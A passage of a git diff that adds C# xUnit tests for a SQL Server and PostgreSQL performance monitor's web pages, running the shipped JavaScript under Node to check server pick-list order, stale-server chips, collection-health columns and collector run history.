+            {
+                continue;
+            }
+
+            Assert.True(exempt.ContainsKey(name), name + " calls renderLineChart directly; use zoomableLineChart or list it as exempt with its reason.");
+            Assert.True(name == "charts.js" || text.Contains("onZoom"), name + " is exempt because it passes onZoom, but does not.");
+        }
+
+        // The server-tab and FinOps chart callers go through the zoomable wrapper.
+        // No fixed count: server-tabs.js draws line charts only through the wrapper (the direct-call scan above already
+        // fails any other file), and it must not call or import the raw renderer, so a new chart there cannot skip the zoom.
+        var serverTabs = Js("pages", "server-tabs.js");
+        Assert.Contains("zoomableLineChart(", serverTabs);
+        Assert.DoesNotMatch(@"(?<![\w.])renderLineChart\s*\(|import\s*\{[^}]*\brenderLineChart\b", serverTabs);
+        Assert.Contains("zoomableLineChart(", Js("pages", "finops", "version-store.js"));
+        var panels = Js("panels.js");
+        var vizLine = panels.Substring(panels.IndexOf("function vizLine(", StringComparison.Ordinal));
+        vizLine = vizLine.Substring(0, vizLine.IndexOf("\n}\n", StringComparison.Ordinal));
+        Assert.Contains("zoomableLineChart(", vizLine);
+        Assert.DoesNotContain("renderLineChart(", vizLine);
+    }
+
+    [Fact]
+    public void CustomViews_ShareTheChipFromCharts_AndStillPassOnZoom()
+    {
+        var compose = Js("compose.js");
+        Assert.Contains("zoomChip", compose);
+        Assert.DoesNotContain("function zoomChip(", compose);
+        Assert.Contains("onZoom,", compose);
+        Assert.Contains("export function zoomChip(", Js("charts.js"));
+    }
+}
diff --git a/Darling/Darling.Tests/WebClickthroughPickListTests.cs b/Darling/Darling.Tests/WebClickthroughPickListTests.cs
new file mode 100644
index 0000000000..3ee37d431f
--- /dev/null
+++ b/Darling/Darling.Tests/WebClickthroughPickListTests.cs
@@ -0,0 +1,232 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Release click-through findings 13 and 15 and the rest of 4 (part D), run under Node
+/// (<c>web-clickthrough-pick-harness.mjs</c>): every server pick list on the web uses the sidebar's order (display name,
+/// favourites first), the Deadlocks tile says in a tooltip why it read fewer servers than the fleet has, a stat panel can
+/// drop the tiles that have no value, and the collector counts written with underscores read as words. Node is skipped
+/// when it is not installed.
+/// </summary>
+public sealed class WebClickthroughPickListTests
+{
+    private static JsonElement Run(string scenario, string? input = null)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-clickthrough-pick-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        if (input is not null)
+        {
+            psi.Environment["HARNESS_INPUT"] = input;
+        }
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the pick list harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the pick list harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    [Fact]
+    public void TheSharedOrder_IsDisplayNameWithFavouritesFirst()
+    {
+        var r = Run("order");
+        string[] byName = ["AG1", "AG2", "PG18", "PGEXT", "SQL2016"];
+        Assert.Equal(byName, Strings(r.GetProperty("plain")));
+        Assert.Equal(byName, Strings(r.GetProperty("options")));
+        Assert.Equal(byName, Strings(r.GetProperty("fromCards")));
+        Assert.Equal(["PGEXT", "AG1", "AG2", "PG18", "SQL2016"], Strings(r.GetProperty("withFavorite")));
+        Assert.True(r.GetProperty("sidebarSameFunction").GetBoolean());
+    }
+
+    [Fact]
+    public void TheFinOpsAlertHistoryAndJobHistoryPickers_FollowTheSidebarOrder()
+    {
+        var r = Run("pages");
+        // The registry (and list_servers) answers PG18 first; the sidebar lists AG1, AG2, PG18, PGEXT, SQL2016.
+        Assert.Equal(["AG1", "AG2", "PG18 (PostgreSQL)", "PGEXT (PostgreSQL)", "SQL2016"], Strings(r.GetProperty("finops")));
+        Assert.Equal(["All servers", "AG1", "AG2", "SQL2016"], Strings(r.GetProperty("jobs")));
+        var alerts = r.GetProperty("alerts").EnumerateArray().Select(Strings).Single(s => s.Contains("All servers"));
+        Assert.Equal(["All servers", "AG1", "AG2", "PG18", "PGEXT", "SQL2016"], alerts);
+    }
+
+    [Fact]
+    public void TheScopeAndParamPickers_PutFavouritesFirst()
+    {
+        var r = Run("fleetOptions");
+        Assert.Equal(["AG1", "AG2", "PG18", "PGEXT", "SQL2016"], Strings(r.GetProperty("plain")));
+        Assert.Equal(["SQL2016", "AG1", "AG2", "PG18", "PGEXT"], Strings(r.GetProperty("withFavorite")));
+    }
+
+    [Fact]
+    public void EveryHandBuiltServerList_GoesThroughTheSharedOrder()
+    {
+        foreach (var file in new[] { "js/pages/alerts.js", "js/pages/job-history.js", "js/pages/finops.js", "js/pages/views.js", "js/editor.js" })
+        {
+            var text = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", file));
+            Assert.Contains("orderServers(", text);
+            Assert.DoesNotContain("a.label.localeCompare(b.label)", text);
+        }
+    }
+
+    [Fact]
+    public void ThePartialDeadlockLine_SaysWhyInATooltip_AndAFullOneNeedsNone()
+    {
+        var r = Run("deadlocks");
+        Assert.Equal("read 6 of 9 servers", r.GetProperty("text").GetString());
+        var title = r.GetProperty("title").GetString()!;
+        Assert.Contains("The other 3 servers are not counted", title);
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("fullTitle").ValueKind);
+        var sub = r.GetProperty("subNodes").EnumerateArray().Single();
+        Assert.Equal(title, sub.GetProperty("title").GetString());
+    }
+
+    [Fact]
+    public void AStatTileWithNoValue_CanBeHidden_ButAKeptTileAndOneWithItsOwnSentenceStay()
+    {
+        var r = Run("stats");
+        Assert.Equal(["Count", "Plain dash", "Has why"], Strings(r.GetProperty("labels")));
+    }
+
+    [Fact]
+    public void TheAlertingReadsPanel_MarksItsWhichRanForAndNewestTilesHideWhenEmpty()
+    {
+        var text = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+        var start = text.IndexOf("const ALERT_READ_STATS = [", StringComparison.Ordinal);
+        var block = text[start..text.IndexOf("];", start, StringComparison.Ordinal)];
+        var tiles = block.Split('\n').Where(l => l.TrimStart().StartsWith("{ key: \"alert_read_health.", StringComparison.Ordinal)).ToArray();
+        Assert.Equal(9, tiles.Count(l => l.Contains("hideWhenEmpty: true", StringComparison.Ordinal)));
+        // The counts stay: a zero is a value, and a count tile is never dropped.
+        Assert.All(tiles.Where(l => l.Contains("format: \"int\"", StringComparison.Ordinal)), l => Assert.DoesNotContain("hideWhenEmpty", l));
+    }
+
+    [Fact]
+    public void ThePageHeader_SaysItMonitorsSqlServerAndPostgreSql()
+    {
+        var html = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "index.html"));
+        Assert.Contains("SQL Server and PostgreSQL monitor", html);
+        Assert.DoesNotContain("SQL Server fleet monitor", html);
+    }
+
+    [Fact]
+    public void APanelThatSaysHideWhenNotCollected_IsNotDrawnOnANotCollectedAnswer_AndOneThatDoesNotSayItIs()
+    {
+        var r = Run("panelHide");
+        Assert.True(r.GetProperty("hidingHidden").GetBoolean());
+        Assert.False(r.GetProperty("keepingHidden").GetBoolean());
+    }
+
+    [Fact]
+    public void AColumnMarkedPlain_ShowsPlainText_AndAnUnmarkedOneShowsTheRawText()
+    {
+        var r = Run("plainCell");
+        Assert.Contains("widen the time range", Strings(r.GetProperty("plain")).Single());
+        Assert.DoesNotContain("hours_back", Strings(r.GetProperty("plain")).Single());
+        Assert.Contains("hours_back", Strings(r.GetProperty("raw")).Single());
+    }
+
+    [Fact]
+    public void ANamedColumn_PutsOnlyTheNamedTokensIntoWords_AndLeavesAnErrorsOwnTextAlone()
+    {
+        var r = Run("plainCell");
+        Assert.Equal(
+            "Could not find stored procedure 'dbo.get_orders' (timeout=30, sales_2024); widen the time range or call get_collection_health.",
+            Strings(r.GetProperty("named")).Single());
+        Assert.Contains("call Collection Health", Strings(r.GetProperty("full")).Single());
+    }
+
+    [Fact]
+    public void TheCollectorGridsMessageColumns_ArePlain_AndTheQueryStorePageTextNamesNoTool()
+    {
+        var tabs = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+        foreach (var key in new[] { "note_summary", "output_finding", "regression_finding" })
+        {
+            Assert.Matches("key: \"" + key + "\"[^}]*plain: true", tabs);
+        }
+
+        /* Round-1 M4: a Last Error is a real error message that may echo user data, so only the named-token rules apply. */
+        Assert.Matches("key: \"last_error\"[^}]*plain: \"named\"", tabs);
+
+        Assert.DoesNotContain("which is what get_query_trend", tabs, StringComparison.Ordinal);
+        Assert.DoesNotContain("no query_store_health capture", tabs, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AGridThatNamesOrderRows_OpensInThatOrder_AndWorstFirstRanksFailingBeforeHealthyBeforeNotApplicable()
+    {
+        var r = Run("gridOrder");
+        Assert.Equal(new[] { "c_fail", "d_warn", "a_ok", "b_ok", "a_gated" }, Strings(r.GetProperty("worst")));
+        Assert.Equal(new[] { "2026-10-03", "2026-10-02", "2026-10-01" }, Strings(r.GetProperty("newest")));
+        Assert.Equal(Strings(r.GetProperty("worst")), Strings(r.GetProperty("drawn")));
+        Assert.Equal(new[] { "b_ok", "a_gated", "c_fail", "a_ok", "d_warn" }, Strings(r.GetProperty("drawnPlain")));
+    }
+
+    [Fact]
+    public void TheTabs_HideInstanceCpuOnANotCollectedAnswer_ListCollectorsWorstFirst_AndTheCalendarNewestFirst()
+    {
+        var r = Run("tabs");
+        Assert.Equal(new[] { true }, r.GetProperty("cpuPanels").EnumerateArray().Select(x => x.GetBoolean()).ToArray());
+        Assert.Equal(new[] { "c_fail", "a_ok", "b_ok" }, Strings(r.GetProperty("pgCollectors")));
+        Assert.Equal(new[] { "c_fail", "a_ok", "b_ok" }, Strings(r.GetProperty("sqlCollectors")));
+        Assert.Equal(new[] { "2026-10-03", "2026-10-02", "2026-10-01" }, Strings(r.GetProperty("calendar")));
+    }
+
+    [Fact]
+    public void CollectorCounts_WrittenWithUnderscores_ReadAsWords_AndLoneNamesAreKept()
+    {
+        string[] inputs =
+        [
+            "latest run: shred_gated_1 events_read_0 report_xml_empty_0",
+            "shred_gated=1 events_read=0",
+            "see pg_stat_statements_2 for the plan",
+            "Slot wal_sender_1 is behind",
+        ];
+        var r = Run("plain", System.Text.Json.JsonSerializer.Serialize(inputs));
+        var o = Strings(r.GetProperty("out"));
+        Assert.Equal("latest run: shred gated: 1, events read: 0, report xml empty: 0", o[0]);
+        Assert.Equal("shred gated: 1, events read: 0", o[1]);
+        Assert.Equal(inputs[2], o[2]);
+        Assert.Equal(inputs[3], o[3]);
+    }
+}
diff --git a/Darling/Darling.Tests/WebClickthroughStaleStateTests.cs b/Darling/Darling.Tests/WebClickthroughStaleStateTests.cs
new file mode 100644
index 0000000000..9ac7e5e54a
--- /dev/null
+++ b/Darling/Darling.Tests/WebClickthroughStaleStateTests.cs
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Release click-through findings on stale state and one slow read (#5489). The web half runs the shipped page
+/// script under Node (<c>web-clickthrough-stale-harness.mjs</c>): the fleet card chips of a server that stopped
+/// collecting, and the Wait Stats tab's read count. The Viewer half drives the WPF fleet card's own properties,
+/// which are the twin of the web chips. Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebClickthroughStaleStateTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-clickthrough-stale-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the click-through harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the click-through harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Texts(JsonElement chips) =>
+        chips.EnumerateArray().Select(c => c.GetProperty("text").GetString()!).ToArray();
+
+    [Fact]
+    public void AServerPastTheOfflineMark_ReadsNotAvailableWithItsAge_NotLiveLookingValues()
+    {
+        var r = Run("cards");
+        var offline = r.GetProperty("offline");
+        var texts = Texts(offline);
+
+        /* CPU, Threads, Memory, Blocking and Deadlocks: n/a with the age, never 0% / 77 free / ok. */
+        for (var i = 0; i < 5; i++)
+        {
+            Assert.Contains("n/a", texts[i], StringComparison.Ordinal);
+            Assert.Contains("last collected 12d ago", texts[i], StringComparison.Ordinal);
+            Assert.Contains("sev-Unknown", offline[i].GetProperty("cls").GetString(), StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain(texts, t => t.Contains("0%", StringComparison.Ordinal) || t.Contains("free", StringComparison.Ordinal) || t.Contains("ok", StringComparison.Ordinal));
+        Assert.StartsWith("CollectorsStale", texts[5], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnOnlineServer_KeepsItsLiveValues()
+    {
+        var online = Texts(Run("cards").GetProperty("online"));
+        Assert.Equal("CPU0%SQL 0%", online[0]);
+        Assert.StartsWith("Threads77 free", online[1], StringComparison.Ordinal);
+        Assert.StartsWith("Memoryok", online[2], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AStaleAvailabilityGroupCard_SaysNoCurrentData_AndAFreshOneDoesNot()
+    {
+        var r = Run("agStale");
+        var stale = Texts(r.GetProperty("stale")).Single();
+        Assert.StartsWith("Stale: no current data. ", stale, StringComparison.Ordinal);
+        Assert.Contains("last collected", stale, StringComparison.Ordinal);
+        var fresh = Texts(r.GetProperty("fresh")).Single();
+        Assert.DoesNotContain("Stale", fresh, StringComparison.Ordinal);
+        Assert.Contains("collected just now", fresh, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheWaitStatsTab_AsksForTheSpinlockAndLatchListsOnce_NotOncePerPanel()
+    {
+        /* The Spinlock Stats grid and the Spinlock Trend picker (and the latch pair) read the same tool with the
+           same arguments; at 7 days on a large store the spinlock read took 3.0 s and 5.7 s, paid twice. */
+        var r = Run("waits");
+        Assert.Equal(1, r.GetProperty("spinlock").GetInt32());
+        Assert.Equal(1, r.GetProperty("latch").GetInt32());
+    }
+
+    [Fact]
+    public void ASharedRead_CancelsOnlyTheCallerThatAborted_AndALaterCallSendsAFreshRequest()
+    {
+        var r = Run("joinAbort");
+        Assert.Equal("aborted", r.GetProperty("first").GetString());
+        Assert.Equal("data", r.GetProperty("second").GetString());
+        Assert.Equal(1, r.GetProperty("sentTogether").GetInt32());
+        Assert.Equal("data", r.GetProperty("later").GetString());
+        Assert.Equal(2, r.GetProperty("sent").GetInt32());
+    }
+
+    [Fact]
+    public void TheViewerFleetCard_OfflineReadsDashesAndAge_NotLiveValues()
+    {
+        var card = new ServerSummaryItem
+        {
+            IsOnline = false,
+            CpuPercent = 0,
+            MemoryMb = 908,
+            TotalThreads = 100,
+            CurrentWorkers = 23,
+            LastCollectionTime = DateTime.UtcNow.AddDays(-12),
+        };
+
+        Assert.Equal("--", card.CpuDisplay);
+        Assert.Equal("--", card.MemoryDisplay);
+        Assert.Equal("--", card.ThreadsDisplay);
+        Assert.Equal("--", card.BlockingDisplay);
+        Assert.Equal("--", card.DeadlockDisplay);
+        Assert.StartsWith("last collected 1w ago", card.CpuDetail, StringComparison.Ordinal);
+        Assert.Equal("", card.ThreadsDetail);
+
+        var live = new ServerSummaryItem { IsOnline = true, CpuPercent = 0, MemoryMb = 908, TotalThreads = 100, CurrentWorkers = 23 };
+        Assert.Equal("0%", live.CpuDisplay);
+        Assert.Equal("0.9 GB", live.MemoryDisplay);
+        Assert.Equal("OK", live.ThreadsDisplay);
+    }
+}
diff --git a/Darling/Darling.Tests/WebCollectionHealthRunAtColumnTests.cs b/Darling/Darling.Tests/WebCollectionHealthRunAtColumnTests.cs
new file mode 100644
index 0000000000..63dad300e0
--- /dev/null
+++ b/Darling/Darling.Tests/WebCollectionHealthRunAtColumnTests.cs
@@ -0,0 +1,138 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: the web Collection Health tab shows a collector's run time beside "Every (min)" when one is set, and no
+/// column when no row has one. The Heaviest Collectors table is fed by <c>sweep_pressure.heaviest_collectors</c> from
+/// <c>get_collection_health</c>, so the tool's rows carry <c>run_at</c> and the table lists it as a column that is left
+/// out unless a row fills it.
+/// </summary>
+public sealed class WebCollectionHealthRunAtColumnTests
+{
+    private static string Slice(string source, string start, string end)
+    {
+        var from = source.IndexOf(start, StringComparison.Ordinal);
+        Assert.True(from >= 0, $"anchor not found: {start}");
+        var to = source.IndexOf(end, from, StringComparison.Ordinal);
+        Assert.True(to > from, $"anchor not found after {start}: {end}");
+        return source[from..to];
+    }
+
+    [Fact]
+    public void TheHeaviestCollectorsColumns_ListTheRunTimeBesideEvery_AndLeaveItOutWhenNoRowFillsIt()
+    {
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        var columns = Slice(js, "const HEAVIEST_COLUMNS = [", "];");
+
+        var every = columns.IndexOf("{ key: \"frequency_minutes\", label: \"Every (min)\", format: \"num1\" },", StringComparison.Ordinal);
+        Assert.True(every >= 0, "the Every (min) column is the anchor for this pin");
+        var runAt = columns.IndexOf("{ key: \"run_at\", label: \"Run at\", hideWhenEmpty: true },", StringComparison.Ordinal);
+        Assert.True(runAt > every, "the run time column sits right after Every (min) and drops out when empty");
+        Assert.Single(columns.Split("hideWhenEmpty", StringSplitOptions.None)[1..]);
+    }
+
+    [Fact]
+    public void TheToolsHeaviestCollectorRows_CarryTheRunTime()
+    {
+        var tools = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs");
+        var heaviest = Slice(tools, "var heaviest = SweepBodyRows(rows)", "var peakCollector");
+        Assert.Contains("frequency_minutes = r.FrequencyMinutes,", heaviest, StringComparison.Ordinal);
+        Assert.Contains("run_at = ", heaviest, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheCollectorsTable_ListsTheRunTimeTheNextRunAndTheSkippedDayNote_AndLeavesEachOutWhenNoRowFillsIt()
+    {
+        /* The Heaviest Collectors table ranks by cost per minute, which puts a once-a-day collector last, so the table
+           that lists every collector carries the run time too. */
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        var columns = Slice(js, "const COLLECTOR_COLUMNS = [", "];");
+
+        Assert.Contains("{ key: \"run_at\", label: \"Run at\", hideWhenEmpty: true },", columns, StringComparison.Ordinal);
+        Assert.Contains("{ key: \"next_run_utc\", label: \"Next run\", format: \"time\", hideWhenEmpty: true },", columns, StringComparison.Ordinal);
+        Assert.Contains("{ key: \"run_time_note\", label: \"Run time\", wrap: true, hideWhenEmpty: true },", columns, StringComparison.Ordinal);
+        Assert.True(columns.IndexOf("key: \"last_success\"", StringComparison.Ordinal) < columns.IndexOf("key: \"run_at\"", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheToolsFullRow_AlwaysCarriesTheRunTime_AndThePartialAndCompactRowsCarryItOnlyForACollectorThatHasOne()
+    {
+        var tools = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs");
+
+        /* The full row ends with the three fields, null for a collector with no run time. */
+        foreach (var field in new[] { "run_at = runTime?.RunAt,", "next_run_utc = runTime?.NextRunUtcText,", "run_time_note = runTime?.SkippedDayNote" })
+        {
+            Assert.Equal(1, tools.Split(field, StringSplitOptions.None).Length - 1);
+        }
+
+        /* The compact and the partial row each have a second shape for a collector that has a run time, and that is the
+           only place their run_at and next_run_utc are written, so a collector with none adds no bytes to either row (Lite
+           carries the same two fields under the same rule). The note is the partial row's own: it rides in that shape too. */
+        foreach (var field in new[] { "run_at = (string?)runTime.RunAt,", "next_run_utc = runTime.NextRunUtcText," })
+        {
+            Assert.Equal(2, tools.Split(field, StringSplitOptions.None).Length - 1);
+        }
+
+        Assert.Equal(1, tools.Split("run_time_note = runTime.SkippedDayNote,", StringSplitOptions.None).Length - 1);
+
+        /* The note is the full row's always, and the partial row's only for a collector that has a run time, the same
+           condition as its run_at and next_run_utc. So the key is written in exactly those two places: the partial row
+           built for a collector with no run time has no run_time_note at all, not a null one, and a compact row never has
+           one. */
+        Assert.Equal(2, tools.Split("run_time_note = ", StringSplitOptions.None).Length - 1);
+        Assert.DoesNotContain("run_time_note = (string?)null", tools, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheShippedHeaviestColumns_ShowTheRunTimeWhenARowHasOne_AndNoColumnWhenNoneDoes()
+    {
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        var literal = Slice(js, "const HEAVIEST_COLUMNS = ", "];") + "]";
+        literal = literal["const HEAVIEST_COLUMNS = ".Length..];
+
+        var script = """
+            const m = await import(process.argv[1]);
+            const columns = new Function("return " + process.argv[2])();
+            const keys = (rows) => m.visibleColumns(columns, rows).map((c) => c.key).join(",");
+            console.log(JSON.stringify({
+              set: keys([{ collector: "index_object_stats", frequency_minutes: 1440, run_at: "02:00" }, { collector: "wait_stats", frequency_minutes: 1, run_at: null }]),
+              none: keys([{ collector: "wait_stats", frequency_minutes: 1, run_at: null }, { collector: "query_stats", frequency_minutes: 1 }]),
+            }));
+            """;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add("--input-type=module");
+        psi.ArgumentList.Add("-e");
+        psi.ArgumentList.Add(script);
+        psi.ArgumentList.Add(new Uri(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js")).AbsoluteUri);
+        psi.ArgumentList.Add(literal);
+
+        Process proc;
+        try { proc = Process.Start(psi)!; }
+        catch (Win32Exception) { Assert.Skip("Node is not installed, so the shipped page script cannot be run."); throw; } // The source pins above still hold the change in place.
+
+        using (proc)
+        {
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            var error = proc.StandardError.ReadToEnd();
+            Assert.True(proc.WaitForExit(20000) && proc.ExitCode == 0, "node failed: " + error);
+            using var doc = JsonDocument.Parse(output);
+            Assert.Contains("frequency_minutes,run_at,", doc.RootElement.GetProperty("set").GetString() + ",", StringComparison.Ordinal);
+            Assert.DoesNotContain("run_at", doc.RootElement.GetProperty("none").GetString(), StringComparison.Ordinal);
+            Assert.Contains("frequency_minutes", doc.RootElement.GetProperty("none").GetString(), StringComparison.Ordinal);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebCollectorRunHistoryTests.cs b/Darling/Darling.Tests/WebCollectorRunHistoryTests.cs
new file mode 100644
index 0000000000..d3ee108fee
--- /dev/null
+++ b/Darling/Darling.Tests/WebCollectorRunHistoryTests.cs
@@ -0,0 +1,134 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5227: on the web SQL Server Collection Health tab a click on a Collectors row re-requests the Collection Log for that
+/// collector over 7 days, a chip clears the pick, and the pick survives the 60 s rebuild of the tab.
+/// </summary>
+public sealed class WebCollectorRunHistoryTests
+{
+    private static JsonElement RunHarness()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-collector-run-history-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the collector run-history harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the collector run-history harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    [Fact]
+    public void AnUnpickedTab_ReadsTheLogForTheWindow_WithNoCollectorFilter()
+    {
+        var r = RunHarness();
+        var before = r.GetProperty("before");
+
+        Assert.Equal(1, before.GetArrayLength());
+        Assert.Equal("24", before[0].GetProperty("hours").GetString());
+        Assert.False(before[0].TryGetProperty("collector_name", out _));
+        Assert.True(r.GetProperty("clickable").GetBoolean(), "a Collectors row is clickable (pointer cursor and a title)");
+    }
+
+    [Fact]
+    public void ClickingACollectorRow_ReadsThatCollectorsLog_OverSevenDays_AndShowsTheChip()
+    {
+        var r = RunHarness();
+        var click = r.GetProperty("afterClick");
+
+        Assert.Equal(1, click.GetArrayLength());
+        Assert.Equal("query_store", click[0].GetProperty("collector_name").GetString());
+        Assert.Equal("168", click[0].GetProperty("hours").GetString());
+        Assert.Equal("collector query_store \u00d7", r.GetProperty("chipAfterClick")[0].GetString());
+    }
+
+    [Fact]
+    public void ThePick_SurvivesARebuildOfTheTab()
+    {
+        var r = RunHarness();
+        var rebuilt = r.GetProperty("afterRebuild");
+
+        Assert.Equal(1, rebuilt.GetArrayLength());
+        Assert.Equal("query_store", rebuilt[0].GetProperty("collector_name").GetString());
+        Assert.Equal("168", rebuilt[0].GetProperty("hours").GetString());
+        Assert.Equal(1, r.GetProperty("rebuildChips").GetInt32());
+    }
+
+    [Fact]
+    public void TheChip_ClearsThePick_AndTheLogReturnsToTheWindow()
+    {
+        var cleared = RunHarness().GetProperty("afterClear");
+
+        Assert.Equal(1, cleared.GetArrayLength());
+        Assert.False(cleared[0].TryGetProperty("collector_name", out _));
+        Assert.Equal("24", cleared[0].GetProperty("hours").GetString());
+    }
+
+    [Fact]
+    public void ASecondPick_AbortsTheFirstRead_AndTheNewestStaysLive()
+    {
+        var picks = RunHarness().GetProperty("pickSignals");
+
+        Assert.Equal(2, picks.GetArrayLength());
+        Assert.Equal("query_store", picks[0].GetProperty("collector").GetString());
+        Assert.True(picks[0].GetProperty("aborted").GetBoolean());
+        Assert.Equal("wait_stats", picks[1].GetProperty("collector").GetString());
+        Assert.False(picks[1].GetProperty("aborted").GetBoolean());
+    }
+
+    [Fact]
+    public void EnterOnAFocusedRow_PicksIt_AndASelectionClickDoesNot()
+    {
+        var r = RunHarness();
+
+        Assert.Equal("query_store", Assert.Single(r.GetProperty("enterPick").EnumerateArray()).GetString());
+        Assert.True(r.GetProperty("prevented").GetBoolean());
+        Assert.Equal("button", r.GetProperty("rowRole")[0].GetString());
+        Assert.Equal("0", r.GetProperty("rowRole")[1].GetString());
+        Assert.Equal(0, r.GetProperty("selectionReads").GetInt32());
+    }
+
+    [Fact]
+    public void TheChip_SpansTheFullRow()
+    {
+        var chip = RunHarness().GetProperty("chipStyle")[0];
+
